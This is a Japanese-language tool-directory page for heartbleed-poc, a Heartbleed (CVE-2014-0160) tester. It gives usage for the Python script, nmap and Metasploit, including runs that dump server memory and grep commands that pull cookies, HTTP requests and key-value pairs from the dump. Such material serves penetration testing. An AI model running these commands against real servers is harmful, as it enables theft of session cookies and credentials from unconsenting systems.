Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
heartbleed-poc — SSLハートビート脆弱性(CVE-2014-0160)のテスト | Kitploit
ツール/GitHubGitHub/sensepost/heartbleed-poc
脆弱性スキャナーエクスプロイト情報収集ウェブセキュリティネットワークセキュリティペネトレーションテスト
GitHubsensepost/heartbleed-poc

heartbleed-poc

SSLハートビート脆弱性(CVE-2014-0160)のテスト

リポジトリを見る
17084312年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HeartBleed テスター & エクスプロイト

注記 ほぼすべてのツール(nmap、metasploit、nessus、burpも含む)には、最新バージョンのスキャナが搭載されています。これらのツールは、ツールがまだ開発中の初期段階にリリースされたものです。現在はこれらではなく、それらのツールを使用してください。

ツールガイド

  • 大量スキャンを行いたい場合は、現時点ではNMAPスクリプトが最善の選択肢です。
  • 最も多くのプロトコル(STARTTLS)をサポートするには、修正版Metasploitスクリプトを確認してください。
  • 実際にエクスプロイトしたい場合は、Pythonスクリプトを使用してください(SMTP以外でのSTARTTLSには修正が必要です)。

Pythonツール

Usage: heartbleed-poc.py server [options]

SSLハートビートの脆弱性(CVE-2014-0160)をテストします

Options: -h, --help このヘルプメッセージを表示して終了 -p PORT, --port=PORT テストするTCPポート(デフォルト: 443) -n NUM, --num=NUM 脆弱な場合に送信するハートビート数(取得できるメモリ量を決定)(デフォルト: 1) -f FILE, --file=FILE ダンプしたメモリを書き込むファイル名(デフォルト: dump.bin) -q, --quiet メモリダンプを表示しない -s, --starttls STARTTLSをチェック(現時点ではsmtpのみ)

使用例

  • 通常スキャン(ポート443に対して1回の反復で実行): python heartbleed-poc.py example.com

  • メモリダンプスキャン(100回のリクエストを送信し、出力をバイナリファイルdump.binに保存): python heartbleed-poc.py -n100 -f dump.bin example.com

HEAPの異なる部分を確実に取得するには、サーバーをビジー状態にしてください。そうしないと、同じデータの繰り返しになってしまいます。

  • STARTTLSを使用してメールサーバーをチェック(例: ポート25): python heartbleed-poc.py -s -p 25 example.com

  • 以前はTLSバージョンを明示的に指定する-vスイッチがありましたが、現在は自動検出されるため削除されました。

お宝データを探す

バイナリファイルには有益な出力が含まれています。ここでは、お宝データを見つける簡単な方法をいくつか紹介します:

  • HTTPリクエスト: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin

  • Cookie: grep -a "^Cookie:" dump.bin

  • 興味深いキーと値のペア: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin

  • NMAP NSEスクリプト

    使用方法: nmap --script=ssl-heartbleed -p 443

    出力例:

    Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST Nmap scan report for <example.org> (1.2.3.4) Host is up (0.0068s latency). PORT STATE SERVICE 443/tcp open https | ssl-heartbleed: | VULNERABLE: | The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption. | State: VULNERABLE | Risk factor: High | Description: | OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves. |
    | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160 | http://www.openssl.org/news/secadv_20140407.txt |_ http://cvedetails.com/cve/2014-0160/

    Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds

    Metasploitモジュール

    msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options

    Module options (auxiliary/scanner/ssl/openssl_heartbleed):

    Name Current Setting Required Description


    RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)

    msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit

    [] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

    ツールをダウンロード